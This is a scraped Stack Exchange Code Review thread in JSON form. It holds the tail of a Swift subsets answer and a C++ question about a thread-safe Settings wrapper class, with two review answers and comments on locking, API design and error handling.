href=\"https://tio.run/##jVPBTsMwDL33K3xMBesAcarYJARM4jSJTeJQ9RDSdIpo0ypxhya0X6c4aWFlbNpycFUn7/k5frEfKsfbVpV1ZRBmVaMzjqrSQZA3WoCoyjelfcbeLaesykEWspQabQz3xvDNolBC0lYIoykkyTJN4TMAWquGmwwKiZArY/Gpg8HklyDyefq1soe4ZSQ2RkOS@szWRx/W3AAvioeBorgvOKHvsEjagV3tYQPz/EWWXGmlV/1BS9DhCeov3unLTFXPHC0LQ0@YV2Z4HJQ@yb9rbE97xOta6owN@S7gbxvh4A6OwjW6QnMSfkJLx9bf7x5dsA2C8RhejaM14GbvFSF/JwbgBHDDjs9wBU3knxf6okevOomiiLo9IQKsxHMULCQeMuQxEd7G7AdOo962zjnlhnjIHxTZNem7uQoDl7fIjcs/cpSsS4lDNvL4bp8GtQPURmlkIhL01vDS7UWoSvlMczRrXiyUFpL5ImHYtl8iL/jKtqP5Nw\" rel=\"nofollow noreferrer\">0.32 seconds</a></td>\n</tr>\n<tr>\n<td>This</td>\n<td><a href=\"https://tio.run/##hZE/a8MwEMV3fYobbdqItHQyaZb@gU4dks14UJVzEMgnI59TSslXrytZbmpMoTcI9O69n3RS925qvhtM0zrP8Ox6Oig2joSoe9KgXfNmaFS6zX6buRrQYoPEXQE75KDlsNpCWe6rCj4FhDopD8rah1m0mAz3UFajp3b@BwSGLsyJEMsigyN8Sp0IczE@OauLL5JMZKyl3CyOlTrMwzNorKVHtS3SIVvIpanganmB/AI6i39wfyZTyiP3npZBcR7iyM1HeNUwaFizGynl7ToXUe9Y@ag/KsYsSTps5/8TPqdI@dQP1/gNtN4QZzq9yHXsSTYNvhCjPym7M6QxGw/JczEMX7q26tgNq9dv\" rel=\"nofollow noreferrer\">0.19 seconds</a></td>\n</tr>\n</tbody>\n</table>\n</div>",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-19T07:08:38.000",
"Id": "530890",
"Score": "0",
"body": "The total number of combinations is known in advance, adding `allCombinations.reserveCapacity(1 << elements.count)` makes it a bit faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-19T11:00:22.673",
"Id": "530908",
"Score": "0",
"body": "@MartinR: I've had mixed results with `reserveCapacity` in the past. I'll do more investigation and get back to you as soon as possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-19T11:36:46.057",
"Id": "530911",
"Score": "1",
"body": "Wow great answer thank you"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-19T12:44:23.993",
"Id": "530919",
"Score": "0",
"body": "@MartinR: using [this](https://github.com/apple/swift-collections-benchmark) benchmarking tool by Apple, [this chart](https://ibb.co/3Ff5qBt) doesn't show a valuable gain by reserving capacity."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-17T15:08:28.770",
"Id": "269068",
"ParentId": "263840",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T14:48:47.047",
"Id": "263840",
"Score": "3",
"Tags": [
"swift",
"combinatorics"
],
"Title": "Generate all subsets of a set"
}
|
263840
|
<p>I'm trying to create a relatively simple class that stores global configuration in some serializable struct, and reads/writes from/to a file.</p>
<p>My main goal is to make this class easy to use correctly. While it's not a public library, there will be a sizable team using it in many parts of the codebase and I want to make it obvious to use in new code.</p>
<p><em>Settings.h</em></p>
<pre class="lang-cpp prettyprint-override"><code>#pragma once
#include <exception>
#include <filesystem>
#include <fstream>
#include <iostream>
#include <shared_mutex>
/// Represents global configuration based on a struct.
/// Provides abilities to load/save to a file.
///
/// @param SettingsStruct The following global overloads must exist for
/// serialization to/from streams:
///
/// ostream& operator<<(ostream&, const SettingsStruct
/// istream& operator>>(istream&, SettingsStruct&);
///
template <typename SettingsStruct>
class Settings {
private:
SettingsStruct settings_;
mutable std::shared_mutex mutex_;
std::filesystem::path filename_;
public:
/// Attempts to open file and initialize in-memory settings.
Settings(std::filesystem::path filename);
/// @note Calls Commit() before destruction
~Settings() { Commit(); }
Settings(const Settings &) = delete;
Settings &operator=(const Settings &) = delete;
Settings(Settings &&) = delete;
Settings &operator=(Settings &&) = delete;
/// Commits in-memory settings to a file
void Commit() const;
/// @return a copy of the current settings
SettingsStruct Get() const {
std::shared_lock lk(mutex_);
return settings_;
}
/// Safely locks + mutates the current settings based on the given transform
/// function.
///
/// @return a copy of the mutated settings
///
/// @example
/// settings.Mutate([](auto old){ old.SomeGroup.Nested = 4.0; return old; }
template <typename Func>
SettingsStruct Mutate(const Func &transformFunction) {
std::scoped_lock lk(mutex_);
settings_ = transformFunction(settings_);
return settings_;
}
};
template <typename SettingsStruct>
Settings<SettingsStruct>::Settings(std::filesystem::path filename)
: filename_(filename) {
std::ifstream ifs(filename);
if (ifs.is_open()) {
ifs >> settings_;
} else {
std::cerr << "warning could not open settings file "
<< std::filesystem::absolute(filename);
}
}
template <typename SettingsStruct>
void Settings<SettingsStruct>::Commit() const {
std::scoped_lock lk(mutex_);
std::ofstream ofs(filename_);
ofs << settings_;
}
</code></pre>
<p><em>main.cpp</em></p>
<pre class="lang-cpp prettyprint-override"><code>#include <fstream>
#include <future>
#include <iostream>
#include "Settings.h"
using namespace std;
struct SomeGroupedSettings {
float Nested = 0.1; // default
string Address = "asdf";
};
struct MySettings {
int Version = 1;
SomeGroupedSettings SomeGroup = {};
};
ostream &operator<<(ostream &out, const MySettings &s) {
out << s.Version << '\n'
<< s.SomeGroup.Nested << '\n'
<< s.SomeGroup.Address << '\n';
return out;
}
istream &operator>>(istream &in, MySettings &s) {
in >> s.Version;
in >> s.SomeGroup.Nested;
in >> s.SomeGroup.Address;
return in;
}
int main(int argc, char **argv) {
const auto filename = argc > 1 ? argv[1] : "config.txt";
// clean file for testing
{
ofstream ofs(filename);
if (! ofs.is_open()) return 1;
ofs << "1\n0.5\nold_address\n";
}
Settings<MySettings> settings(filename);
cout << "Loaded settings:\n" << settings.Get() << endl;
auto a = std::async(std::launch::async, ([&]() {
cout << "Changing address in other thread..." << endl;
settings.Mutate([](auto old) {
old.SomeGroup.Address = "new_address";
return old;
});
cout << "Changed address in other thread:\n"
<< settings.Get() << endl;
}));
cout << "Changing settings in other thread..." << endl;
settings.Mutate([](auto old) {
old.SomeGroup.Nested = 101.3;
old.Version = 3;
// leave SomeGroup.Address alone
return old;
});
cout << "Changed settings in main thread:\n" << settings.Get() << endl;
}
</code></pre>
<p>Example output</p>
<pre><code>Loaded settings:
1
0.5
old_address
Changing Nested in main thread...
Changing Address in other thread...
Changed Address in other thread:
3
101.3
new_address
Changed Nested in main thread:
3
101.3
new_address
</code></pre>
<p>With <em>config.txt</em> looking like:</p>
<pre><code>3
101.3
new_address
</code></pre>
<p>Questions/not questions:</p>
<ul>
<li><p>I will replace the <code><</>></code>-based serialization scheme with a parser based on <a href="https://nlohmann.github.io/json/features/arbitrary_types/" rel="nofollow noreferrer">Nlohmann's JSON Library</a> in the future. I'm not looking for feedback on this.</p>
</li>
<li><p><code>Get()</code> will be called often, while <code>Mutate</code> will be called rarely.</p>
</li>
<li><p>Performance is not a massive concern, but obvious improvements are obviously welcome.</p>
</li>
<li><p>The pattern for <code>Mutate</code> that I came up with (passing a mutator as an argument) doesn't seem widely used, or at least I'm not searching the right terms.</p>
<ul>
<li><p>What are some better ways to handle mutation of shared classes?</p>
</li>
<li><p>Is the design of <code>Mutate</code> a terrible or particularly strange design? What are its pitfalls and why isn't it more common? I can't find much about it.</p>
</li>
</ul>
</li>
<li><p>How could I add threadsafe move operations to this? It might be useful.</p>
</li>
</ul>
<p>Any feedback, or examples of this sort of thing in the wild, is much appreciated.</p>
|
[] |
[
{
"body": "<blockquote>\n<p><code> SettingsStruct Get() const {</code></p>\n</blockquote>\n<p>You do not need to return copy. If someone want to <em>make</em> copy, they can still do it even if you return const SettingsStruct&. Returning copy would affect performance (a lot if <code>Get</code> is called way too many times)</p>\n<blockquote>\n<p>The pattern for Mutate that I came up with (passing a mutator as an argument) doesn't seem widely used, or at least I'm not searching the right terms. I</p>\n</blockquote>\n<p>The reason probably you did not come across many because eventually they would become difficult to maintain. You are giving access to a some function which may be changing state that would affect <code>Settings</code> object. If you are going to provide this to limited number of users, it would be fine I am sure.</p>\n<blockquote>\n<p>What are some better ways to handle mutation of shared classes?</p>\n</blockquote>\n<p>I am sure you are realize that in a way you are giving templated serialization version for a file, any file. Nothing wrong with that; just that if you wanted you could look at some serialization frameworks for inspiration. I wouldn't call them better just different.</p>\n<blockquote>\n<p>Is the design of Mutate a terrible or particularly strange design? What are its pitfalls and why isn't it more common? I can't find much about it.</p>\n</blockquote>\n<p>No, it not terrible design at all. It is useful. All you need to remember is, there is very little you can do to have specific restrictions on what it may or may not do. For example, what happens if it throws? Do you want to change the accepted signature to <code>noexcept</code>? Is <code>Mutate</code> reentrant?</p>\n<blockquote>\n<p>How could I add threadsafe move operations to this? It might be useful.</p>\n</blockquote>\n<p>I would suggest you get this one out first, let some people use it before adding more capabilities. You would get better feedback (from yourself if you not from others).</p>\n<p>One additional feedback:</p>\n<blockquote>\n<p><code>void Settings<SettingsStruct>::Commit() const {</code></p>\n</blockquote>\n<p>This should not be constant. The reason why it <em>can</em> be constant is because you are not changing data that is owned by the class but you are doing much more. You are changing <em>underlying storage</em>. User of the class should have very clear boundary of what he can or cannot do.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T09:47:38.180",
"Id": "521035",
"Score": "0",
"body": "Get *has* to return a copy. If you return a reference, you expose the internal data without a lock. That kinda defeats the whole point of the class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T09:57:28.153",
"Id": "521036",
"Score": "0",
"body": "@indi You are taking responsibility of something that you should not take. It's job of the developer of `SettingStruct` to allow or disallow access. Yours is just to make sure that when it is accessed in the __way you intended__ you don't give incorrect write access. Or this class becomes too tightly coupled with `SettingStruct`s. Imagine having huge amount of data in that struct. Every time you copy, you are going to increase overhead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:33:47.610",
"Id": "521058",
"Score": "0",
"body": "That makes no sense. If `SettingStruct` is already thread-safe, then this entire class has no point. If it is not thread-safe, then you can’t return a reference. So `Get()` either *has* to return a copy, or the whole `Settings` class should be thrown out. This is not a question of efficiency or overhead, it is a question of correctness."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:01:27.847",
"Id": "521062",
"Score": "0",
"body": "@vish I believe what indi is trying to say is that the copying from reference will not be under mutex lock, so not atomic. Other thread may modify the data before the copy constructor finishes execution."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:26:16.537",
"Id": "521072",
"Score": "0",
"body": "@indi I am not asking to return by reference I am asking to return by _const_ reference. You can still make _copy_ if you want to, is it not? Incomputable, does that make sense?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:36:41.563",
"Id": "521075",
"Score": "0",
"body": "You’re still missing the point. Consider `auto x = settings.Get();` with a `const&` return like you want. This does: 1) acquire lock; 2) create `const&` to `_settings`; 3) return `const&` to `_settings`; 4) release lock; 5) copy `_settings` to `x` **but uh oh you’re copying `_settings` after you lost the lock!!!** Between 4 and 5, another thread starts mutating `_settings`, and you do the copy while the object is half-mutated. Boom, undefined behaviour (maybe a hard crash, if you’re lucky). Get it now?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:13:32.953",
"Id": "521081",
"Score": "0",
"body": "@indi okay, I agree. That is the problem with API not with the requirement. You cannot return a copy. If you are calling this `Get` multiple times then it's performance is going to unacceptable. The lifetime of ` SettingsStruct` object is managed by `Settings`. So, I would suggest OP does two things: 1. Remove `Get` 2. Rename `Mutate` to `Access`"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T04:01:40.297",
"Id": "263851",
"ParentId": "263842",
"Score": "2"
}
},
{
"body": "<h1>Design review</h1>\n<p>In summary, I don’t think this class is a good idea.</p>\n<p>The first reason why is because it is not what it says it is. It calls itself a <code>Settings</code> class… but it has nothing at all to do with settings. It’s just a (putatively) thread-safe wrapper around some data that was read from a file. The only difference from <em>any</em> other thread-safe data wrapper is that it has a function to write the data back to the file. You could theoretically use it to read a plain string of text from a file, edit it, then write it back. (And yes, I get that <code>operator>></code> will be replaced with a JSON parse, but that doesn’t really change the point. It would just mean that you could read any random JSON, edit it, then write it back… which is still not really a “settings” class.)</p>\n<p>When the name of a class is wrong, it usually means that the concept is wrong, or at least badly muddled. That seems to be the case here. And when the concept is muddled, that usually means that the class is either difficult to use, or using it is inefficient. Let me illustrate.</p>\n<p>Let’s say I want to read 3 related settings. So what is the obvious way to read 3 settings? Well, it’s something like this:</p>\n<pre><code>// assume:\n// auto settings = Settings<YourActualSettingsMap>{filename};\n\nauto setting_1 = settings.Get().setting_1;\nauto setting_2 = settings.Get().setting_2;\nauto setting_3 = settings.Get().setting_3;\n</code></pre>\n<p>Unfortunately, this very natural way of working with <code>Settings</code> is riddled with bugs and inefficiencies.</p>\n<p>The first inefficiency is obvious: every time you call <code>Get()</code>, you copy the settings data.</p>\n<p>Another inefficiency is much more insidious. Every time you call <code>Get()</code>, you have to acquire a lock on the internal mutex. That’s bad for efficiency, but what makes it <em>dangerous</em> is that it means that each of those three calls <em>could</em> be seeing entirely different views of the settings data.</p>\n<p>Suppose it is very important that the 3 settings are in sync; they are all interrelated, so if one is changed, the other two usually need to be updated as well. So you read the first one… and then some other thread updates the settings data… and then you read the second one, and… well, now it is reading <em>new</em> data, so it might be out of sync with what you read for the first setting.</p>\n<p>The problem exists on the other side, too. Once again, the natural way to update settings hides the trap:</p>\n<pre><code>settings.Mutate([](auto&& s) { s.setting_1 = "value 1"; return s; });\nsettings.Mutate([](auto&& s) { s.setting_2 = "value 2"; return s; });\nsettings.Mutate([](auto&& s) { s.setting_3 = "value 3"; return s; });\n</code></pre>\n<p>A naïve look at the code above would lead you to assume that you are changing the 3 settings together… but of course, since you release the lock between each call, anything could happen in between.</p>\n<p>In both of the previous two code blocks, there is no indication at the call site that you are dealing with any locks at all. This is why it is a bad interface. You got the mantra half right: A good interface is easy to use correctly. But the important second half is: … and hard to use <em>incorrectly</em>. This interface is tricky use, and easy to use wrong.</p>\n<p>Now, of course, you <em>could</em> rewrite both code blocks to be safe:</p>\n<pre><code>// when getting...\nauto settings_view = settings.Get();\nauto setting_1 = settings_view.setting_1;\nauto setting_2 = settings_view.setting_2;\nauto setting_3 = settings_view.setting_3;\n// make sure users understand that if they make any changes to the settings\n// view, they won't be saved!\n\n// when setting...\nsettings.Mutate([](auto&& s) {\n s.setting_1 = "value_1";\n s.setting_2 = "value_2";\n s.setting_3 = "value_3";\n return s;\n});\n</code></pre>\n<p>But neither of these patterns are obvious, or natural… especially the second one. You need to know the “tricks” to working with the class… you basically need to know the implementation.</p>\n<p>There are other issues, but I’ll cover them later, throughout the review. For now, I’ll just reveal the punchline: <strong>Hiding locks (and other synchronization) from users is always a bad idea.</strong> At best it will be inefficient. At worst it will be dangerous.</p>\n<p>I get it: non-concurrent code is simpler. It’s clearer, it’s easier to reason about, there are fewer traps and gotchas. I totally get the impulse to transform concurrent code into non-concurrent code. But you have to understand that when you disguise concurrent code as non-concurrent code, <strong>all of those traps and gotchas still exist</strong>. What’s changed is that the user is no longer aware of them. That’s not a good thing.</p>\n<p>If some data needs to be locked, <strong>make sure the user is aware of it</strong>. Don’t hide the lock from them. You’re not helping them when you do that.</p>\n<p>Here’s an alternative interface that doesn’t hide the lock:</p>\n<pre><code>// assume:\n// auto settings = Settings{filename};\n\n// ---------------------------------------------------------\n// to read settings:\n\nauto s = settings.lock(); // lock() returns a proxy object\n\nauto setting_1 = s.get("setting-1"); // can only access settings via the\nauto setting_2 = s.get("setting-2"); // locked proxy\nauto setting_3 = s.get("setting-3");\n\n// lock is released when proxy is destroyed\n\n// won't work:\n// settings.get("setting-1") // ... need to lock to read anything\n// s.set("setting-1", "value 1") // ... lock() only gives you a read-only lock\n\n// if you really only need a single setting:\n// auto setting_1 = settings.lock().get("setting-1");\n\n// ---------------------------------------------------------\n// to set settings:\n\nauto s = settings.lock_exclusive(); // or "lock_for_writing()" or whatever\n\ns.set("setting-1", "value 1");\ns.set("setting-2", "value 2");\ns.set("setting-3", "value 3");\n\nauto setting_1 = s.get("setting-1"); // can read from this kind of proxy\n\n// again, lock released when proxy destroyed\n</code></pre>\n<p>This isn’t a <em>perfect</em> interface, because it is possible to create a deadlock by trying to acquire a lock while holding a lock. However, that’s just normal; <em>everyone</em> knows the danger of double-locking locks, and <em>everyone</em> knows that you should never hold a lock any longer than you need to, and so on. When the lock is blatant and clear in the code, normal programmer discipline can come into play. When the lock is hidden… not so much.</p>\n<p>Incidentally, the proxy pattern means you can’t use bare <code>struct</code>s as your settings structures. That’s why I switched to function calls rather than data member accesses in the code block above. It sucks, but there’s just no practical way to do it without the proposed <code>operator.</code> or something like it. If you want to use a bare <code>struct</code>, then the lock will have to be separate from the data (unlike in the code above, where the lock and the data proxy are one and the same); that just makes things much more dangerous.</p>\n<p>Another option is to take a cue from the “RCU”, or “read-copy-update”, pattern. Basically, you use shared pointers, and whenever you “get” the settings object to work with, you actually get a shared pointer to it. When you mutate the settings, you just mutate your own private copy of the data, and then replace the pointer in the main object:</p>\n<pre><code>// assume:\n// auto settings = Settings<MySettings>{filename};\n// internally, settings allocates a shared_ptr<MySettings>\n\n// ---------------------------------------------------------\n// to read settings:\n\nauto s = settings.Get(); // returns a shared_ptr<const MySettings>\nauto setting_1 = s->setting_1;\nauto setting_2 = s->setting_2;\nauto setting_3 = s->setting_3;\n\n// or:\nauto setting_1 = settings.Get()->setting_1;\nauto setting_2 = settings.Get()->setting_2;\nauto setting_3 = settings.Get()->setting_3;\n\n// doesn't matter how many threads are reading settings; each just gets a\n// pointer to the data.\n//\n// doesn't matter another thread *changes* the settings while you're reading,\n// because you have your own private view (until the shared pointer you have\n// is destructed).\n\n// can't change the settings, because it is a pointer to const:\n// settings.Get()->setting_1 = 0; // won't compile\n\n// ---------------------------------------------------------\n// to set settings:\nauto s = settings.Copy(); // allocates a NEW shared_ptr<MySettings> by\n // copying the internal settings data\n\n// do whatever you want safely, because you have your own copy\ns->setting_1 = 0;\ns->setting_2 = 0;\ns->setting_3 = s->setting_1; // can also read settings\n\n// in order to make your changes visible to other threads, and when saving to\n// file, you need to apply them:\nsettings.Reset(*s); // or Update() or whatever you want to call the function\n</code></pre>\n<p>You still need to synchronize all those shared pointer copies and resets, unless you’re using C++20 and can use <code>std::atomic<std::shared_ptr<MySettings>></code>. Pre-C++20:</p>\n<pre><code>template <typename SettingsStruct>\nclass Settings\n{\n std::shared_ptr<SettingsStruct> p_settings_;\n mutable std::shared_mutex mutex_;\n std::filesystem::path filename_;\n\npublic:\n // ... [snip] ...\n\n auto Get() const\n {\n auto _ = std::shared_lock{mutex_};\n return p_settings_;\n }\n\n auto Copy()\n {\n auto _ = std::shared_lock{mutex_};\n return std::shared_ptr<SettingsStruct const>{p_settings_};\n }\n\n auto Reset(SettingsStruct const& s)\n {\n auto p = std::make_shared(s);\n\n auto _ = std::scoped_lock{mutex_};\n p_settings_ = p;\n }\n\n auto Reset(SettingsStruct&& s)\n {\n auto p = std::make_shared(std::move(s));\n\n auto _ = std::scoped_lock{mutex_};\n p_settings_ = p;\n }\n};\n</code></pre>\n<p>With C++20:</p>\n<pre><code>template <typename SettingsStruct>\nclass Settings\n{\n std::atomic<std::shared_ptr<SettingsStruct>> p_settings_;\n std::filesystem::path filename_;\n\npublic:\n // ... [snip] ...\n\n auto Get() const\n {\n return p_settings_.load(); // possibly with memory order acquire\n }\n\n auto Copy() const\n {\n // this is safe, because the owned, pointed-to object is never\n // mutated (the *pointer* is sometimes mutated (atomically, so\n // safely), but the *pointed-to data* is never mutated), so we can\n // copy it without needing to lock\n return std::make_shared<SettingsStruct>(*Get()));\n }\n\n auto Reset(SettingsStruct const& s)\n {\n auto p = std::make_shared<SettingsStruct>(s);\n\n // no problem, atomic\n p_settings_ = p;\n // or: p_settings_.store(p); // possibly with memory order release\n }\n\n auto Reset(SettingsStruct&& s)\n {\n auto p = std::make_shared<SettingsStruct>(std::move(s));\n\n // no problem, atomic\n p_settings_ = p;\n // or: p_settings_.store(p); // possibly with memory order release\n }\n};\n</code></pre>\n<p>This pattern is actually easy to make movable, too, if you really want to. Because everyone is working with their own private view, it doesn’t really matter what you do to the main object. So long as you don’t mutate the pointed-to value (though you can replace the <em>pointer</em>, as shown), everything is safe.</p>\n<h2>The <code>Mutate()</code> problem</h2>\n<p>The reason you probably haven’t seen the pattern you’re using for <code>Mutate()</code> very often is because it is an anti-pattern.</p>\n<p>It is always a terrible idea to let random code execute while holding a lock. That’s what you’re doing when you allow <code>transformFunction</code> to run while <code>mutex_</code> is locked. You <em>assume</em> the user isn’t going to do anything stupid or reckless; you <em>assume</em> all they’re going to do is set some fields in the struct then return. But it is very trivial to violate your assumptions, and, worse… it’s not even that wild or silly.</p>\n<p>For example, let’s say I want to set one setting based on the value of another:</p>\n<pre><code>settings.Mutate([](auto&& s) {\n s.value = settings.Get().other * 2; // boom\n return s;\n});\n</code></pre>\n<p>I know you <em>intend</em> for the user to do <code>s.value = s.other * 2;</code>… but there is no way to prevent misuse, and it’s such an easy mistake to make. It could be even trickier if the code is <code>s.value() = calculate_value();</code>, and somewhere deep in the call to <code>calculate_value()</code> is a call to <code>Get()</code>.</p>\n<p>Just don’t do it: don’t let random user code run while holding a lock.</p>\n<p>Note that you <em>could</em> fix <code>Mutate()</code> by doing something like this:</p>\n<pre><code>template <typename Func>\nSettingsStruct Mutate(const Func &transformFunction)\n{\n // don't really need optional, just using it to keep the code simple\n auto s = std::optional<SettingsStruct>{};\n\n // copy settings, then release the lock\n {\n auto _ = std::shared_lock{mutex_};\n s = settings_;\n }\n\n // do the transform on the copy\n *s = transformFunction(*s);\n\n // now change the actual settings\n auto _ = std::scoped_lock{mutex_};\n settings_ = *s;\n return settings_;\n}\n</code></pre>\n<p>But holy wow is that <em>wildly</em> inefficient for just changing a setting or two. This is a sign that your abstraction is wrong.</p>\n<h1>Code review</h1>\n<pre><code>#pragma once\n</code></pre>\n<p><a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#sf8-use-include-guards-for-all-h-files\" rel=\"nofollow noreferrer\">Don’t use <code>#pragma once</code></a>. It’s ‘okay-ish’ (widely supported though non-standard) <em>when it works</em>. When it <em>fails</em>… it is absolute nightmarish catastrophe. Pray you never experience a failure of <code>#pragma once</code>.</p>\n<pre><code> Settings(const Settings &) = delete;\n Settings &operator=(const Settings &) = delete;\n Settings(Settings &&) = delete;\n Settings &operator=(Settings &&) = delete;\n</code></pre>\n<p><a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#nl18-use-c-style-declarator-layout\" rel=\"nofollow noreferrer\">The convention in C++ is to put the <code>&</code> (or <code>&&</code>) with the type</a>.</p>\n<p>In other words:</p>\n<ul>\n<li>✗ <code>Settings &operator=(const Settings &) = delete;</code></li>\n<li>✓ <code>Settings& operator=(const Settings&) = delete;</code></li>\n<li>✓ <code>Settings& operator=(Settings const&) = delete;</code> (east <code>const</code> style)</li>\n<li>✓ <code>auto operator=(Settings const&) -> Settings& = delete;</code> (east <code>const</code> plus trailing return)</li>\n</ul>\n<pre><code> SettingsStruct Get() const {\n std::shared_lock lk(mutex_);\n return settings_;\n }\n</code></pre>\n<p>There is no conceivable situation where a level-headed programmer would want to call <code>Get()</code>, and <em>not</em> want to use the returned settings struct. (As opposed to, say, <code>Mutate()</code>, which also returns a copy of the settings, but a user might not care… as in your example code.) This is a good place for <code>[[nodiscard]]</code>.</p>\n<pre><code> template <typename Func>\n SettingsStruct Mutate(const Func &transformFunction) {\n std::scoped_lock lk(mutex_);\n settings_ = transformFunction(settings_);\n return settings_;\n }\n</code></pre>\n<p>I mentioned above the problems that come with allowing user code to execute while holding the lock, and the hoops you have to jump through to avoid that. If you think about it logically, the only thing that actually needs to be protected by the lock is the assignment to <code>settings_</code> (except, of course, you want to pass <code>settings_</code> or a copy of it to the function first, too).</p>\n<p>Taking the function by <code>const</code> reference is unnecessarily constraining. It “works” with simple lambdas because <code>operator()</code> is <code>const</code>-qualified by default for lambdas. But if I use a function object, or a mutable lambda, boom.</p>\n<p>The best solution here in any case is really to just use a forwarding reference.</p>\n<pre><code>template <typename SettingsStruct>\nSettings<SettingsStruct>::Settings(std::filesystem::path filename)\n : filename_(filename) {\n std::ifstream ifs(filename);\n if (ifs.is_open()) {\n ifs >> settings_;\n } else {\n std::cerr << "warning could not open settings file "\n << std::filesystem::absolute(filename);\n }\n}\n</code></pre>\n<p>Taking the path by value is fine, since you’re storing it anyway, but once you’ve got it, you should move it rather than copying it again:</p>\n<pre><code>Settings<SettingsStruct>::Settings(std::filesystem::path filename)\n : filename_(std::move(filename)) {\n</code></pre>\n<p>Now, inside the constructor, you check that the file is open, which is fine… but you never check anything else. What if the settings file data is corrupt and fails to read? What if the file is fine, but there’s a disk error while reading? And even if the file <em>doesn’t</em> open, you just chug along merrily anyway. What if it really matters to me that I’ve properly read the user’s desired settings?</p>\n<p>This is a job for exceptions. Unfortunately, you need to actually turn them on in iostreams (because they’re ancient, from pre-exception days):</p>\n<pre><code>template <typename SettingsStruct>\nSettings<SettingsStruct>::Settings(std::filesystem::path filename)\n : filename_{std::move(filename)}\n{\n std::ifstream ifs{filename_};\n ifs.exceptions(std::ifstream::badbit | std::ifstream::failbit);\n ifs >> settings_; // will throw if the file is not open or unreadable, or\n // if the file's contents are corrupt\n}\n</code></pre>\n<p>I know your ultimate goal is to use a JSON load function, so the actual details of making iostreams throw exceptions isn’t the point here. Rather, the point is about checking for and reporting errors generally. Exceptions are your only option for reporting failure from a constructor. The alternative is to have the constructor only default construct the settings, and have a separate load function which could throw or return <code>bool</code> or whatever you like. It’s probably better to have a separate load function in any case, because the user might want to refresh the settings if some external force has changed them (or they might just want to try loading a settings file, to see if it’s legit).</p>\n<p>And finally…</p>\n<pre><code>template <typename SettingsStruct>\nvoid Settings<SettingsStruct>::Commit() const {\n std::scoped_lock lk(mutex_);\n std::ofstream ofs(filename_);\n ofs << settings_;\n}\n</code></pre>\n<p>There is no need to hold the lock while opening the file. Again, I know your ultimate goal is to ditch the iostreams stuff, but the points I’m making are not iostreams-specific. You should always do the <em>minimal</em> amount of work necessary while holding a lock. If your library has separate functions to open files, format data as JSON, and write files, then only the formatting part needs to be protected by the lock. Indeed, you could abandon the lock entirely at the cost of an extra copy of the data if you did:</p>\n<pre><code>template <typename SettingsStruct>\nvoid Settings<SettingsStruct>::Commit() const {\n your_write_function(Get());\n\n // for example:\n // auto ofs = std::ofstream{filename_}; // no problem if filename is never mutated\n // ofs << Get();\n}\n</code></pre>\n<p>The other problem is that there is no error reporting at all. How would the user know the file was opened and successfully written to? That’s kinda important to know, if only to report to the user that their settings weren’t saved.</p>\n<p>I’m not going to review the test/example code (even though there are some dire problems with it… <code>using namespace std;</code>, and <code>endl</code>s all over the place…), because I doubt you’re interested in it.</p>\n<h1>Summary</h1>\n<p>Hiding locks from users is evil. Don’t be evil.</p>\n<p>Allowing arbitrary code to execute while holding a lock is extremely risky. Avoid it unless <em><strong>ABSOLUTELY</strong></em> necessary (which it absolutely isn’t in this case).</p>\n<p>A class whose only purpose is to provide locked access to another class seems specious. I suppose it would be possible if one could write proper general proxy objects in C++… but you can’t. (A proper general proxy object might have an overloaded <code>operator.</code> that just calls the wrapped class’s <code>operator.</code> while locked… but we don’t have overloadable <code>operator.</code>, so… .)</p>\n<p>So you have to give up the dream of <code>Settings<SettingsStruct></code> working with any random <code>SettingsStruct</code> type. Either make <code>Settings</code> specific to one specific <code>SettingsStruct</code> type, or use an interface… which will limit which types you can use as <code>SettingsStruct</code>, but still allow some options, although you won’t be able to support bare <code>struct</code>s that only have data members.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:28:00.327",
"Id": "521087",
"Score": "0",
"body": "I agree to most of it (I think I was trying to kinder in my review but perhaps this is better). I do not agree with the overall assessment though. I know it is _very_ difficult to come up with very secure design even with best intentions (`auto_ptr`) mainly because the C++ deals with new language features. They seem to go on adding new things which ends up being more difficult to have perfect design. I am not fan of documentation because it doesn't keep up with code but perhaps giving _very_ limited API with strong warning in doc might help. Just a thought"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T03:18:48.840",
"Id": "521097",
"Score": "0",
"body": "Fantastic info about API design especially, thank you. I am slowly abandoning my dream of allowing arbitrary structs as configs. Maybe string keys is the simpler way. What are the pitfalls of using the proxy-object method, but overloading `operator->` or just a `Get()` method that returns a reference to the underlying `struct` from the proxy? Would it be unsafe because you can copy the reference outside of the proxy's lifetime?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T04:39:30.613",
"Id": "521099",
"Score": "0",
"body": "Tried it out. The temporary lifetime of the proxy object in the method call makes things like `settings.Lock()->Version++` unsafe."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T06:33:43.767",
"Id": "521103",
"Score": "0",
"body": "Great review, as usual. One thing you missed mentioning from `Commit()` is that it _truncates the file before starting to write_. So if anything goes wrong during the write, _we no longer even have the last good version_. I hate it when programs lose their settings for no apparent reason (Qt Assistant, I'm looking at you!)."
},
{
